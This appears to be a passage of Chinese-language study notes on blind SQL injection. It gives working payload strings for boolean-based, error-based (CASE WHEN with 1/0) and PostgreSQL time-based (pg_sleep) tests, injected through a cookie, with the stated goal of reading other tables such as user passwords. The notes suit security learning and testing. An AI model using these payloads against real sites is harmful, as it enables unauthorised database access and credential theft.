- 查詢不同的資料庫表之資料。(ex. 使用者帳號密碼)
- 有時候 SQLi 不一定會回傳頁面,藉由以下方法來進行確認攻擊結果
- 網站透過 cookie 來檢查使用者狀況(有SQLi漏洞),正常情況會在網頁上呈現 Welcome back。
- 透過下列條件,如果條件為 True (‘1’=‘1’),網站會回應 Welcome back,反之 False (‘1’=‘2’) 則不會回應 Welcome back。由此可判斷 True 或 False。
...xyz' AND '1'='1
...xyz' AND '1'='2
- 透過 SELECT CASE WHEN (條件),來決定是否觸發 1/0 ,來觸發SQL錯誤,進一步得知注入的結果是 True 或 False。
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
- 透過 SELECT CASE WHEN (條件),來決定是否觸發延遲 (pg_sleep(10)) ,來觸發回應時間延遲,進一步得知注入的結果是 True 或 False。
xyz'%3b SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END